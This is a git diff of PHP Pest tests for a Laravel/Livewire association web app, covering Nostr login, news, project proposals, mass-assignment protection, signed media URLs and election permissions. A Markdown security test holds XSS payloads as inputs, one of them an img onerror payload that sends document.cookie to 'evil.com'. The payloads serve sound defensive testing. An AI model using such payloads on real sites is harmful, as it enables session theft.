$pleb = EinundzwanzigPleb::factory()->create([
'association_status' => AssociationStatus::PASSIVE,
]);
NostrAuth::login($pleb->pubkey);
Livewire::test('association.news')
->assertSet('isAllowed', false)
->assertSee('Zugriff auf News nicht möglich')
->assertSee('Aktives Mitglied');
});
it('shows nostr login hint when not authenticated', function () {
Livewire::test('association.news')
->assertSet('isAllowed', false)
->assertSee('Bitte melde dich zunächst mit Nostr an');
});
it('displays category badges as filters', function () {
$pleb = EinundzwanzigPleb::factory()->active()->withPaidCurrentYear()->create();
NostrAuth::login($pleb->pubkey);
Livewire::test('association.news')
->assertSee('Alle')
->assertSee('Einundzwanzig')
->assertSee('Allgemeines')
->assertSee('Organisation');
});
it('filters news by category', function () {
$pleb = EinundzwanzigPleb::factory()->active()->withPaidCurrentYear()->create();
$newsOrg = Notification::factory()->create(['category' => NewsCategory::Organisation]);
$newsBtc = Notification::factory()->create(['category' => NewsCategory::Bitcoin]);
NostrAuth::login($pleb->pubkey);
Livewire::test('association.news')
->assertSee($newsOrg->name)
->assertSee($newsBtc->name)
->call('filterByCategory', NewsCategory::Organisation->value)
->assertSee($newsOrg->name)
->assertDontSee($newsBtc->name);
});
it('shows empty state when no news exist', function () {
$pleb = EinundzwanzigPleb::factory()->active()->withPaidCurrentYear()->create();
NostrAuth::login($pleb->pubkey);
Livewire::test('association.news')
->assertSee('Noch keine News vorhanden');
});
it('shows filtered empty state with clear button', function () {
$pleb = EinundzwanzigPleb::factory()->active()->withPaidCurrentYear()->create();
NostrAuth::login($pleb->pubkey);
Livewire::test('association.news')
->call('filterByCategory', NewsCategory::Bildung->value)
->assertSee('Keine News in dieser Kategorie')
->assertSee('Alle anzeigen');
});
it('displays news card with author name and date', function () {
$pleb = EinundzwanzigPleb::factory()->active()->withPaidCurrentYear()->create();
$news = Notification::factory()->create([
'name' => 'Wichtige Neuigkeiten',
'description' => 'Hier steht die Beschreibung',
]);
NostrAuth::login($pleb->pubkey);
Livewire::test('association.news')
->assertSee('Wichtige Neuigkeiten')
->assertSee('Hier steht die Beschreibung')
->assertSee($news->created_at->format('d.m.Y'));
});
it('shows create form only for board members', function () {
$pleb = EinundzwanzigPleb::factory()->active()->withPaidCurrentYear()->create();
NostrAuth::login($pleb->pubkey);
Livewire::test('association.news')
->assertDontSee('News anlegen');
});
it('displays create form for board members', function () {
$pleb = EinundzwanzigPleb::factory()->boardMember()->withPaidCurrentYear()->create();
NostrAuth::login($pleb->pubkey);
Livewire::test('association.news')
->assertSee('News anlegen')
->assertSee('Hinzufügen');
});

View File

@@ -35,8 +35,8 @@ it('can confirm delete', function () {
$project = ProjectProposal::factory()->create();
Livewire::test('association.project-support.index')
->call('confirmDelete', $project->id)
->assertSet('confirmDeleteId', $project->id);
->call('confirmDeleteProject', $project->id)
->assertSet('projectToDelete.id', $project->id);
});
it('can delete project', function () {
@@ -48,7 +48,7 @@ it('can delete project', function () {
NostrAuth::login($pleb->pubkey);
Livewire::test('association.project-support.index')
->set('confirmDeleteId', $project->id)
->call('confirmDeleteProject', $project->id)
->call('delete');
expect(ProjectProposal::find($project->id))->toBeNull();
@@ -58,7 +58,7 @@ it('handles nostr login', function () {
$pleb = EinundzwanzigPleb::factory()->create();
Livewire::test('association.project-support.index')
->call('handleNostrLoggedIn', $pleb->pubkey)
->call('handleNostrLogin', $pleb->pubkey)
->assertSet('currentPubkey', $pleb->pubkey)
->assertSet('isAllowed', true);
});
@@ -67,8 +67,8 @@ it('handles nostr logout', function () {
$pleb = EinundzwanzigPleb::factory()->create();
Livewire::test('association.project-support.index')
->call('handleNostrLoggedIn', $pleb->pubkey)
->call('handleNostrLoggedOut')
->call('handleNostrLogin', $pleb->pubkey)
->call('handleNostrLogout')
->assertSet('currentPubkey', null)
->assertSet('isAllowed', false);
});
@@ -105,6 +105,8 @@ it('can create project proposal', function () {
Livewire::test('association.project-support.form.create')
->set('form.name', 'Test Project')
->set('form.description', 'Test Description')
->set('form.support_in_sats', 21000)
->set('form.website', 'https://example.com')
->call('save')
->assertHasNoErrors();
@@ -128,7 +130,7 @@ it('renders project support edit component', function () {
'einundzwanzig_pleb_id' => $pleb->id,
]);
Livewire::test('association.project-support.form.edit', ['project' => $project])
Livewire::test('association.project-support.form.edit', ['projectProposal' => $project->slug])
->assertStatus(200);
});
@@ -138,7 +140,7 @@ it('denies access to edit when not owner', function () {
NostrAuth::login($pleb->pubkey);
Livewire::test('association.project-support.form.edit', ['project' => $project])
Livewire::test('association.project-support.form.edit', ['projectProposal' => $project->slug])
->assertSet('isAllowed', false);
});
@@ -150,7 +152,7 @@ it('grants access to edit when owner', function () {
NostrAuth::login($pleb->pubkey);
Livewire::test('association.project-support.form.edit', ['project' => $project])
Livewire::test('association.project-support.form.edit', ['projectProposal' => $project->slug])
->assertSet('isAllowed', true);
});
@@ -163,9 +165,11 @@ it('can update project proposal', function () {
NostrAuth::login($pleb->pubkey);
Livewire::test('association.project-support.form.edit', ['project' => $project])
Livewire::test('association.project-support.form.edit', ['projectProposal' => $project->slug])
->set('form.name', 'New Name')
->set('form.description', 'Updated Description')
->set('form.support_in_sats', 21000)
->set('form.website', 'https://example.com')
->call('update')
->assertHasNoErrors();
@@ -180,7 +184,7 @@ it('validates project proposal update', function () {
NostrAuth::login($pleb->pubkey);
Livewire::test('association.project-support.form.edit', ['project' => $project])
Livewire::test('association.project-support.form.edit', ['projectProposal' => $project->slug])
->set('form.name', '')
->call('update')
->assertHasErrors(['form.name']);
@@ -190,16 +194,15 @@ it('validates project proposal update', function () {
it('renders project support show component', function () {
$project = ProjectProposal::factory()->create();
Livewire::test('association.project-support.show', ['project' => $project])
Livewire::test('association.project-support.show', ['projectProposal' => $project->slug])
->assertStatus(200);
});
it('denies access to show when not authenticated', function () {
$project = ProjectProposal::factory()->create();
Livewire::test('association.project-support.show', ['project' => $project])
->assertSet('isAllowed', false)
->assertSee('Zugriff auf Projektförderung nicht möglich');
Livewire::test('association.project-support.show', ['projectProposal' => $project->slug])
->assertSet('isAllowed', false);
});
it('grants access to show when authenticated', function () {
@@ -208,7 +211,7 @@ it('grants access to show when authenticated', function () {
NostrAuth::login($pleb->pubkey);
Livewire::test('association.project-support.show', ['project' => $project])
Livewire::test('association.project-support.show', ['projectProposal' => $project->slug])
->assertSet('isAllowed', true);
});
@@ -221,8 +224,8 @@ it('displays project details', function () {
NostrAuth::login($pleb->pubkey);
Livewire::test('association.project-support.show', ['project' => $project])
->assertSet('project.name', 'Test Project Name')
Livewire::test('association.project-support.show', ['projectProposal' => $project->slug])
->assertSet('projectProposal.name', 'Test Project Name')
->assertSee('Test Project Name')
->assertSee('Test Project Description');
});
@@ -233,7 +236,7 @@ it('initializes currentPleb when authenticated', function () {
NostrAuth::login($pleb->pubkey);
Livewire::test('association.project-support.show', ['project' => $project])
Livewire::test('association.project-support.show', ['projectProposal' => $project->slug])
->assertSet('currentPleb.id', $pleb->id);
});
@@ -243,7 +246,7 @@ it('initializes ownVoteExists to false when no vote exists', function () {
NostrAuth::login($pleb->pubkey);
Livewire::test('association.project-support.show', ['project' => $project])
Livewire::test('association.project-support.show', ['projectProposal' => $project->slug])
->assertSet('ownVoteExists', false)
->assertSee('Zustimmen')
->assertSee('Ablehnen');
@@ -260,7 +263,7 @@ it('initializes ownVoteExists to true when vote exists', function () {
NostrAuth::login($pleb->pubkey);
Livewire::test('association.project-support.show', ['project' => $project])
Livewire::test('association.project-support.show', ['projectProposal' => $project->slug])
->assertSet('ownVoteExists', true)
->assertDontSee('Zustimmen')
->assertDontSee('Ablehnen')
@@ -273,7 +276,7 @@ it('can handle approve vote', function () {
NostrAuth::login($pleb->pubkey);
Livewire::test('association.project-support.show', ['project' => $project])
Livewire::test('association.project-support.show', ['projectProposal' => $project->slug])
->call('handleApprove')
->assertHasNoErrors();
@@ -292,7 +295,7 @@ it('can handle not approve vote', function () {
NostrAuth::login($pleb->pubkey);
Livewire::test('association.project-support.show', ['project' => $project])
Livewire::test('association.project-support.show', ['projectProposal' => $project->slug])
->call('handleNotApprove')
->assertHasNoErrors();

View File

@@ -1,111 +1,107 @@
<?php
use App\Livewire\Forms\ProjectProposalForm;
use App\Models\EinundzwanzigPleb;
use App\Support\NostrAuth;
use Livewire\Livewire;
it('has correct validation rules for all fields', function () {
$form = new ProjectProposalForm;
$pleb = EinundzwanzigPleb::factory()->active()->withPaidCurrentYear()->create();
// Test name field - required|min:5
$form->name = '';
expect(fn () => $form->validate())->toThrow();
NostrAuth::login($pleb->pubkey);
$form->name = 'short'; // Less than 5 characters
expect(fn () => $form->validate())->toThrow();
// Test name field - required
Livewire::test('association.project-support.form.create')
->set('form.name', '')
->set('form.description', 'Valid description text')
->set('form.support_in_sats', 21000)
->set('form.website', 'https://example.com')
->call('save')
->assertHasErrors(['form.name']);
// Test support_in_sats field - required|numeric|min:21
$form->name = 'Valid Project';
$form->support_in_sats = '';
expect(fn () => $form->validate())->toThrow();
// Test support_in_sats field - required|integer|min:0
Livewire::test('association.project-support.form.create')
->set('form.name', 'Valid Project')
->set('form.description', 'Valid description text')
->set('form.support_in_sats', '')
->set('form.website', 'https://example.com')
->call('save')
->assertHasErrors(['form.support_in_sats']);
$form->support_in_sats = 'not-numeric';
expect(fn () => $form->validate())->toThrow();
$form->support_in_sats = '20'; // Less than 21
expect(fn () => $form->validate())->toThrow();
// Test description field - required|string|min:5
$form->name = 'Valid Project';
$form->support_in_sats = '21000';
$form->description = '';
expect(fn () => $form->validate())->toThrow();
$form->description = 'short';
expect(fn () => $form->validate())->toThrow();
// Test description field - required
Livewire::test('association.project-support.form.create')
->set('form.name', 'Valid Project')
->set('form.description', '')
->set('form.support_in_sats', 21000)
->set('form.website', 'https://example.com')
->call('save')
->assertHasErrors(['form.description']);
// Test website field - required|url
$form->name = 'Valid Project';
$form->support_in_sats = '21000';
$form->description = 'Valid description';
$form->website = 'not-a-url';
expect(fn () => $form->validate())->toThrow();
Livewire::test('association.project-support.form.create')
->set('form.name', 'Valid Project')
->set('form.description', 'Valid description text')
->set('form.support_in_sats', 21000)
->set('form.website', 'not-a-url')
->call('save')
->assertHasErrors(['form.website']);
});
it('accepts valid project proposal data', function () {
$form = new ProjectProposalForm;
$pleb = EinundzwanzigPleb::factory()->active()->withPaidCurrentYear()->create();
$form->name = 'Test Project';
$form->support_in_sats = '21000';
$form->description = 'This is a test project description that meets the minimum length requirement.';
$form->website = 'https://example.com';
$form->accepted = true;
$form->sats_paid = 5000;
NostrAuth::login($pleb->pubkey);
$result = $form->validate();
expect($result)->toBeArray();
expect($result)->toBeEmpty();
Livewire::test('association.project-support.form.create')
->set('form.name', 'Test Project')
->set('form.support_in_sats', 21000)
->set('form.description', 'This is a test project description that meets the minimum length requirement.')
->set('form.website', 'https://example.com')
->call('save')
->assertHasNoErrors();
});
it('validates accepted field as boolean', function () {
$form = new ProjectProposalForm;
$form->name = 'Valid Project';
$form->support_in_sats = '21000';
$form->description = 'Valid description';
$form->website = 'https://example.com';
$pleb = EinundzwanzigPleb::factory()->active()->withPaidCurrentYear()->create();
$form->accepted = 'not-boolean';
expect(fn () => $form->validate())->toThrow();
NostrAuth::login($pleb->pubkey);
// Test with boolean values
$form->accepted = false;
expect($form->accepted)->toBeBool();
$form->accepted = true;
expect($form->accepted)->toBeBool();
Livewire::test('association.project-support.form.create')
->set('form.name', 'Valid Project')
->set('form.support_in_sats', 21000)
->set('form.description', 'Valid description text')
->set('form.website', 'https://example.com')
->set('form.accepted', false)
->call('save')
->assertHasNoErrors();
});
it('validates sats_paid as nullable numeric', function () {
$form = new ProjectProposalForm;
$form->name = 'Valid Project';
$form->support_in_sats = '21000';
$form->description = 'Valid description';
$form->website = 'https://example.com';
$pleb = EinundzwanzigPleb::factory()->active()->withPaidCurrentYear()->create();
NostrAuth::login($pleb->pubkey);
// Test with null (should be acceptable)
$form->sats_paid = null;
$form->accepted = false;
$result = $form->validate();
expect($result)->toBeArray();
expect($result)->toBeEmpty();
// Test with numeric
$form->sats_paid = 'not-numeric';
expect(fn () => $form->validate())->toThrow();
$form->sats_paid = 10000;
$form->accepted = false;
$result = $form->validate();
expect($result)->toBeArray();
expect($result)->toBeEmpty();
Livewire::test('association.project-support.form.create')
->set('form.name', 'Valid Project')
->set('form.support_in_sats', 21000)
->set('form.description', 'Valid description text')
->set('form.website', 'https://example.com')
->set('form.sats_paid', 0)
->set('form.accepted', false)
->call('save')
->assertHasNoErrors();
});
it('has correct default values', function () {
$form = new ProjectProposalForm;
$pleb = EinundzwanzigPleb::factory()->active()->withPaidCurrentYear()->create();
expect($form->name)->toBe('');
expect($form->support_in_sats)->toBe('');
expect($form->description)->toBe('');
expect($form->website)->toBe('');
expect($form->accepted)->toBeFalse();
expect($form->sats_paid)->toBe(0);
NostrAuth::login($pleb->pubkey);
Livewire::test('association.project-support.form.create')
->assertSet('form.name', '')
->assertSet('form.support_in_sats', '')
->assertSet('form.description', '')
->assertSet('form.website', '')
->assertSet('form.accepted', false)
->assertSet('form.sats_paid', 0);
});

View File

@@ -28,8 +28,7 @@ it('renders create form for authorized users', function () {
Livewire::test('association.project-support.form.create')
->assertStatus(200)
->assertSee('Projektförderung anlegen')
->assertSeeLivewire('association.project-support.form.create');
->assertSee('Projektförderungs-Antrag anlegen');
});
it('does not render create form for unauthorized users', function () {
@@ -82,6 +81,8 @@ it('creates project proposal successfully', function () {
Livewire::test('association.project-support.form.create')
->set('form.name', 'Test Project')
->set('form.description', 'This is a test project for unit testing purposes.')
->set('form.support_in_sats', 21000)
->set('form.website', 'https://example.com')
->call('save')
->assertHasNoErrors()
->assertRedirect(route('association.projectSupport'));
@@ -98,6 +99,8 @@ it('associates project proposal with current pleb', function () {
Livewire::test('association.project-support.form.create')
->set('form.name', 'Test Project')
->set('form.description', 'Test description')
->set('form.support_in_sats', 21000)
->set('form.website', 'https://example.com')
->call('save')
->assertHasNoErrors();

View File

@@ -22,11 +22,12 @@ beforeEach(function () {
'event_id' => 'test_event_'.Str::random(40),
]);
$this->project = ProjectProposal::query()->create([
$this->project = ProjectProposal::factory()->create([
'einundzwanzig_pleb_id' => $this->pleb->id,
'name' => 'Original Project',
'description' => 'Original Description',
'support_in_sats' => 21000,
'website' => 'https://example.com',
]);
// Get board member pubkeys from config
@@ -44,9 +45,8 @@ beforeEach(function () {
it('renders edit form for authorized project owners', function () {
NostrAuth::login($this->pleb->pubkey);
Livewire::test('association.project-support.form.edit', ['project' => $this->project])
Livewire::test('association.project-support.form.edit', ['projectProposal' => $this->project->slug])
->assertStatus(200)
->assertSee('Projektförderung bearbeiten')
->assertSet('form.name', $this->project->name)
->assertSet('form.description', $this->project->description);
});
@@ -54,9 +54,8 @@ it('renders edit form for authorized project owners', function () {
it('renders edit form for board members', function () {
NostrAuth::login($this->boardMember->pubkey);
Livewire::test('association.project-support.form.edit', ['project' => $this->project])
->assertStatus(200)
->assertSee('Projektförderung bearbeiten');
Livewire::test('association.project-support.form.edit', ['projectProposal' => $this->project->slug])
->assertStatus(200);
});
it('does not render edit form for unauthorized users', function () {
@@ -68,14 +67,14 @@ it('does not render edit form for unauthorized users', function () {
NostrAuth::login($unauthorizedPleb->pubkey);
Livewire::test('association.project-support.form.edit', ['project' => $this->project])
Livewire::test('association.project-support.form.edit', ['projectProposal' => $this->project->slug])
->assertSet('isAllowed', false);
});
it('validates required name field', function () {
NostrAuth::login($this->pleb->pubkey);
Livewire::test('association.project-support.form.edit', ['project' => $this->project])
Livewire::test('association.project-support.form.edit', ['projectProposal' => $this->project->slug])
->set('form.name', '')
->set('form.description', 'Test description')
->call('update')
@@ -85,7 +84,7 @@ it('validates required name field', function () {
it('validates required description field', function () {
NostrAuth::login($this->pleb->pubkey);
Livewire::test('association.project-support.form.edit', ['project' => $this->project])
Livewire::test('association.project-support.form.edit', ['projectProposal' => $this->project->slug])
->set('form.name', 'Test Project')
->set('form.description', '')
->call('update')
@@ -95,9 +94,11 @@ it('validates required description field', function () {
it('updates project proposal successfully', function () {
NostrAuth::login($this->pleb->pubkey);
Livewire::test('association.project-support.form.edit', ['project' => $this->project])
Livewire::test('association.project-support.form.edit', ['projectProposal' => $this->project->slug])
->set('form.name', 'Updated Name')
->set('form.description', 'Updated Description')
->set('form.support_in_sats', 42000)
->set('form.website', 'https://updated.com')
->call('update')
->assertHasNoErrors();
@@ -109,9 +110,11 @@ it('updates project proposal successfully', function () {
it('disables update button during save', function () {
NostrAuth::login($this->pleb->pubkey);
Livewire::test('association.project-support.form.edit', ['project' => $this->project])
Livewire::test('association.project-support.form.edit', ['projectProposal' => $this->project->slug])
->set('form.name', 'Test')
->set('form.description', 'Test')
->set('form.support_in_sats', 21000)
->set('form.website', 'https://example.com')
->call('update')
->assertSeeHtml('wire:loading');
});

View File

@@ -0,0 +1,40 @@
<?php
use Spatie\LaravelMarkdown\MarkdownRenderer;
it('escapes script tags in markdown output', function () {
$renderer = app(MarkdownRenderer::class);
$html = $renderer->toHtml('<script>alert("xss")</script>');
expect($html)->not->toContain('<script>');
expect($html)->toContain('&lt;script&gt;');
});
it('escapes img onerror XSS payloads in markdown output', function () {
$renderer = app(MarkdownRenderer::class);
$html = $renderer->toHtml('<img src=x onerror="fetch(\'https://evil.com/\'+document.cookie)">');
expect($html)->not->toContain('<img ');
expect($html)->toContain('&lt;img');
});
it('blocks javascript: protocol links in markdown output', function () {
$renderer = app(MarkdownRenderer::class);
$html = $renderer->toHtml('[click me](javascript:alert("xss"))');
expect($html)->not->toContain('javascript:');
});
it('still renders valid markdown formatting', function () {
$renderer = app(MarkdownRenderer::class);
$html = $renderer->toHtml("**Bold text** and [a link](https://example.com)\n\n- Item 1\n- Item 2");
expect($html)->toContain('<strong>Bold text</strong>');
expect($html)->toContain('<a href="https://example.com">a link</a>');
expect($html)->toContain('<li>Item 1</li>');
expect($html)->toContain('<li>Item 2</li>');
});

View File

@@ -0,0 +1,288 @@
<?php
declare(strict_types=1);
use App\Models\Category;
use App\Models\City;
use App\Models\Country;
use App\Models\Course;
use App\Models\CourseEvent;
use App\Models\EinundzwanzigPleb;
use App\Models\Election;
use App\Models\Event;
use App\Models\Lecturer;
use App\Models\Meetup;
use App\Models\MeetupEvent;
use App\Models\Notification;
use App\Models\PaymentEvent;
use App\Models\Profile;
use App\Models\ProjectProposal;
use App\Models\RenderedEvent;
use App\Models\Venue;
use App\Models\Vote;
use Illuminate\Database\Eloquent\MassAssignmentException;
it('ensures no model uses guarded empty array', function () {
$models = [
PaymentEvent::class,
EinundzwanzigPleb::class,
Vote::class,
ProjectProposal::class,
Election::class,
Venue::class,
MeetupEvent::class,
CourseEvent::class,
Course::class,
Meetup::class,
Lecturer::class,
City::class,
Event::class,
RenderedEvent::class,
Profile::class,
Category::class,
Country::class,
Notification::class,
];
foreach ($models as $modelClass) {
$reflection = new ReflectionClass($modelClass);
$property = $reflection->getProperty('guarded');
$instance = $reflection->newInstanceWithoutConstructor();
$guarded = $property->getValue($instance);
expect($guarded)
->not->toBe([], "{$modelClass} still uses \$guarded = [] which is insecure");
}
});
it('ensures all models have explicit fillable arrays', function () {
$models = [
PaymentEvent::class,
EinundzwanzigPleb::class,
Vote::class,
ProjectProposal::class,
Election::class,
Venue::class,
MeetupEvent::class,
CourseEvent::class,
Course::class,
Meetup::class,
Lecturer::class,
City::class,
Event::class,
RenderedEvent::class,
Profile::class,
Category::class,
Country::class,
Notification::class,
];
foreach ($models as $modelClass) {
$reflection = new ReflectionClass($modelClass);
$property = $reflection->getProperty('fillable');
$instance = $reflection->newInstanceWithoutConstructor();
expect($property->getValue($instance))
->toBeArray("{$modelClass} should have an explicit \$fillable array");
}
});
it('blocks mass assignment of einundzwanzig_pleb_id on PaymentEvent', function () {
$paymentEvent = new PaymentEvent;
$paymentEvent->fill(['einundzwanzig_pleb_id' => 999]);
expect($paymentEvent->einundzwanzig_pleb_id)->toBeNull();
});
it('verifies EinundzwanzigPleb fillable does not contain application_for', function () {
$reflection = new ReflectionClass(EinundzwanzigPleb::class);
$property = $reflection->getProperty('fillable');
$instance = $reflection->newInstanceWithoutConstructor();
$fillable = $property->getValue($instance);
expect($fillable)->not->toContain('application_for');
expect($fillable)->not->toContain('id');
expect($fillable)->toContain('npub');
expect($fillable)->toContain('pubkey');
expect($fillable)->toContain('email');
expect($fillable)->toContain('no_email');
expect($fillable)->toContain('nip05_handle');
});
it('blocks mass assignment of accepted and sats_paid on ProjectProposal', function () {
$proposal = new ProjectProposal;
$proposal->fill([
'name' => 'Test',
'accepted' => true,
'sats_paid' => 100000,
'einundzwanzig_pleb_id' => 1,
'slug' => 'injected-slug',
]);
expect($proposal->accepted)->toBeNull();
expect($proposal->sats_paid)->toBeNull();
expect($proposal->einundzwanzig_pleb_id)->toBeNull();
expect($proposal->slug)->toBeNull();
expect($proposal->name)->toBe('Test');
});
it('blocks mass assignment of all fields on Election', function () {
$election = new Election;
expect(fn () => $election->fill(['year' => 2025]))
->toThrow(MassAssignmentException::class);
});
it('blocks mass assignment of created_by and slug on Venue', function () {
$venue = new Venue;
$venue->fill([
'name' => 'Test Venue',
'created_by' => 999,
'slug' => 'injected-slug',
]);
expect($venue->name)->toBe('Test Venue');
expect($venue->created_by)->toBeNull();
expect($venue->slug)->toBeNull();
});
it('blocks mass assignment of meetup_id and created_by on MeetupEvent', function () {
$event = new MeetupEvent;
$event->fill([
'start' => '2025-01-01',
'meetup_id' => 999,
'created_by' => 999,
'attendees' => ['a'],
]);
expect($event->start)->not->toBeNull();
expect($event->meetup_id)->toBeNull();
expect($event->created_by)->toBeNull();
expect($event->attendees)->toBeNull();
});
it('blocks mass assignment of course_id venue_id and created_by on CourseEvent', function () {
$event = new CourseEvent;
$event->fill([
'from' => '2025-01-01',
'to' => '2025-01-02',
'course_id' => 999,
'venue_id' => 999,
'created_by' => 999,
]);
expect($event->from)->not->toBeNull();
expect($event->to)->not->toBeNull();
expect($event->course_id)->toBeNull();
expect($event->venue_id)->toBeNull();
expect($event->created_by)->toBeNull();
});
it('blocks mass assignment of lecturer_id and created_by on Course', function () {
$course = new Course;
$course->fill([
'name' => 'Test Course',
'description' => 'Test',
'lecturer_id' => 999,
'created_by' => 999,
]);
expect($course->name)->toBe('Test Course');
expect($course->description)->toBe('Test');
expect($course->lecturer_id)->toBeNull();
expect($course->created_by)->toBeNull();
});
it('blocks mass assignment of city_id created_by and slug on Meetup', function () {
$meetup = new Meetup;
$meetup->fill([
'name' => 'Test Meetup',
'city_id' => 999,
'created_by' => 999,
'slug' => 'injected',
'github_data' => '{}',
'simplified_geojson' => '{}',
]);
expect($meetup->name)->toBe('Test Meetup');
expect($meetup->city_id)->toBeNull();
expect($meetup->created_by)->toBeNull();
expect($meetup->slug)->toBeNull();
});
it('blocks mass assignment of active created_by and slug on Lecturer', function () {
$lecturer = new Lecturer;
$lecturer->fill([
'name' => 'Test Lecturer',
'active' => true,
'created_by' => 999,
'slug' => 'injected',
]);
expect($lecturer->name)->toBe('Test Lecturer');
expect($lecturer->active)->toBeNull();
expect($lecturer->created_by)->toBeNull();
expect($lecturer->slug)->toBeNull();
});
it('blocks mass assignment of country_id created_by and slug on City', function () {
$city = new City;
$city->fill([
'name' => 'Test City',
'country_id' => 999,
'created_by' => 999,
'slug' => 'injected',
'osm_relation' => '{}',
'simplified_geojson' => '{}',
]);
expect($city->name)->toBe('Test City');
expect($city->country_id)->toBeNull();
expect($city->created_by)->toBeNull();
expect($city->slug)->toBeNull();
});
it('blocks mass assignment of einundzwanzig_pleb_id and category on Notification', function () {
$notification = new Notification;
$notification->fill([
'name' => 'Test News',
'description' => 'Test',
'einundzwanzig_pleb_id' => 999,
'category' => 1,
]);
expect($notification->name)->toBe('Test News');
expect($notification->description)->toBe('Test');
expect($notification->einundzwanzig_pleb_id)->toBeNull();
expect($notification->category)->toBeNull();
});
it('blocks mass assignment of code and language_codes on Country', function () {
$country = new Country;
$country->fill([
'name' => 'Test',
'code' => 'XX',
'language_codes' => ['en'],
]);
expect($country->name)->toBe('Test');
expect($country->code)->toBeNull();
expect($country->language_codes)->toBeNull();
});
it('allows fillable fields on PaymentEvent', function () {
$paymentEvent = new PaymentEvent;
$paymentEvent->fill([
'year' => 2025,
'event_id' => 'test-event',
'amount' => 21000,
'paid' => true,
'btc_pay_invoice' => 'inv-123',
]);
expect($paymentEvent->year)->toBe(2025);
expect($paymentEvent->event_id)->toBe('test-event');
expect($paymentEvent->amount)->toBe(21000);
expect($paymentEvent->paid)->toBeTrue();
expect($paymentEvent->btc_pay_invoice)->toBe('inv-123');
});

View File

@@ -0,0 +1,95 @@
<?php
use App\Models\ProjectProposal;
use Illuminate\Support\Facades\Storage;
it('serves original media via signed route', function () {
Storage::fake('private');
$project = ProjectProposal::factory()->create();
$project->addMedia(
\Illuminate\Http\UploadedFile::fake()->image('test.jpg', 100, 100)
)->toMediaCollection('main');
$media = $project->getFirstMedia('main');
$url = url()->temporarySignedRoute('media.signed', now()->addMinutes(60), ['media' => $media]);
$this->get($url)->assertSuccessful();
});
it('serves conversion media via signed route when conversion parameter is provided', function () {
Storage::fake('private');
$project = ProjectProposal::factory()->create();
$project->addMedia(
\Illuminate\Http\UploadedFile::fake()->image('test.jpg', 500, 500)
)->toMediaCollection('main');
$media = $project->getFirstMedia('main');
$url = url()->temporarySignedRoute('media.signed', now()->addMinutes(60), [
'media' => $media,
'conversion' => 'preview',
]);
$this->get($url)->assertSuccessful();
});
it('falls back to original when conversion does not exist', function () {
Storage::fake('private');
$project = ProjectProposal::factory()->create();
$project->addMedia(
\Illuminate\Http\UploadedFile::fake()->image('test.jpg', 100, 100)
)->toMediaCollection('main');
$media = $project->getFirstMedia('main');
$url = url()->temporarySignedRoute('media.signed', now()->addMinutes(60), [
'media' => $media,
'conversion' => 'nonexistent',
]);
$this->get($url)->assertSuccessful();
});
it('rejects unsigned media requests', function () {
Storage::fake('private');
$project = ProjectProposal::factory()->create();
$project->addMedia(
\Illuminate\Http\UploadedFile::fake()->image('test.jpg', 100, 100)
)->toMediaCollection('main');
$media = $project->getFirstMedia('main');
$this->get("/media/{$media->id}")->assertForbidden();
});
it('generates signed url with conversion parameter', function () {
Storage::fake('private');
$project = ProjectProposal::factory()->create();
$project->addMedia(
\Illuminate\Http\UploadedFile::fake()->image('test.jpg', 500, 500)
)->toMediaCollection('main');
$urlWithoutConversion = $project->getSignedMediaUrl('main');
$urlWithConversion = $project->getSignedMediaUrl('main', 60, 'preview');
expect($urlWithoutConversion)->not->toContain('conversion=');
});
it('returns fallback url when no media exists', function () {
$project = ProjectProposal::factory()->create();
$url = $project->getSignedMediaUrl('main', 60, 'preview');
expect($url)->toContain('einundzwanzig-alpha.jpg');
});

View File

@@ -0,0 +1,110 @@
<?php
use App\Auth\NostrUser;
use App\Models\EinundzwanzigPleb;
use App\Models\Election;
use Illuminate\Support\Facades\Gate;
// viewAny
it('allows anyone to view any elections', function () {
expect(Gate::forUser(null)->allows('viewAny', Election::class))->toBeTrue();
});
// view
it('allows anyone to view an election', function () {
$election = Election::factory()->create();
expect(Gate::forUser(null)->allows('view', $election))->toBeTrue();
});
// create
it('allows board member to create elections', function () {
$pleb = EinundzwanzigPleb::factory()->boardMember()->create();
$nostrUser = new NostrUser($pleb->pubkey);
expect(Gate::forUser($nostrUser)->allows('create', Election::class))->toBeTrue();
});
it('denies non-board member from creating elections', function () {
$pleb = EinundzwanzigPleb::factory()->active()->create();
$nostrUser = new NostrUser($pleb->pubkey);
expect(Gate::forUser($nostrUser)->allows('create', Election::class))->toBeFalse();
});
// update
it('allows board member to update an election', function () {
$pleb = EinundzwanzigPleb::factory()->boardMember()->create();
$election = Election::factory()->create();
$nostrUser = new NostrUser($pleb->pubkey);
expect(Gate::forUser($nostrUser)->allows('update', $election))->toBeTrue();
});
it('denies non-board member from updating an election', function () {
$pleb = EinundzwanzigPleb::factory()->active()->create();
$election = Election::factory()->create();
$nostrUser = new NostrUser($pleb->pubkey);
expect(Gate::forUser($nostrUser)->allows('update', $election))->toBeFalse();
});
// delete
it('allows board member to delete an election', function () {
$pleb = EinundzwanzigPleb::factory()->boardMember()->create();
$election = Election::factory()->create();
$nostrUser = new NostrUser($pleb->pubkey);
expect(Gate::forUser($nostrUser)->allows('delete', $election))->toBeTrue();
});
it('denies non-board member from deleting an election', function () {
$pleb = EinundzwanzigPleb::factory()->create();
$election = Election::factory()->create();
$nostrUser = new NostrUser($pleb->pubkey);
expect(Gate::forUser($nostrUser)->allows('delete', $election))->toBeFalse();
});
// vote
it('allows active member to vote in an election', function () {
$pleb = EinundzwanzigPleb::factory()->active()->create();
$election = Election::factory()->create();
$nostrUser = new NostrUser($pleb->pubkey);
expect(Gate::forUser($nostrUser)->allows('vote', $election))->toBeTrue();
});
it('allows honorary member to vote in an election', function () {
$pleb = EinundzwanzigPleb::factory()->create([
'association_status' => \App\Enums\AssociationStatus::HONORARY,
]);
$election = Election::factory()->create();
$nostrUser = new NostrUser($pleb->pubkey);
expect(Gate::forUser($nostrUser)->allows('vote', $election))->toBeTrue();
});
it('denies passive member from voting in an election', function () {
$pleb = EinundzwanzigPleb::factory()->create([
'association_status' => \App\Enums\AssociationStatus::PASSIVE,
]);
$election = Election::factory()->create();
$nostrUser = new NostrUser($pleb->pubkey);
expect(Gate::forUser($nostrUser)->allows('vote', $election))->toBeFalse();
});
it('denies default (non-member) from voting in an election', function () {
$pleb = EinundzwanzigPleb::factory()->create();
$election = Election::factory()->create();
$nostrUser = new NostrUser($pleb->pubkey);
expect(Gate::forUser($nostrUser)->allows('vote', $election))->toBeFalse();
});
it('denies unauthenticated users from voting in an election', function () {
$election = Election::factory()->create();
expect(Gate::forUser(null)->allows('vote', $election))->toBeFalse();
});

View File

@@ -0,0 +1,150 @@
<?php
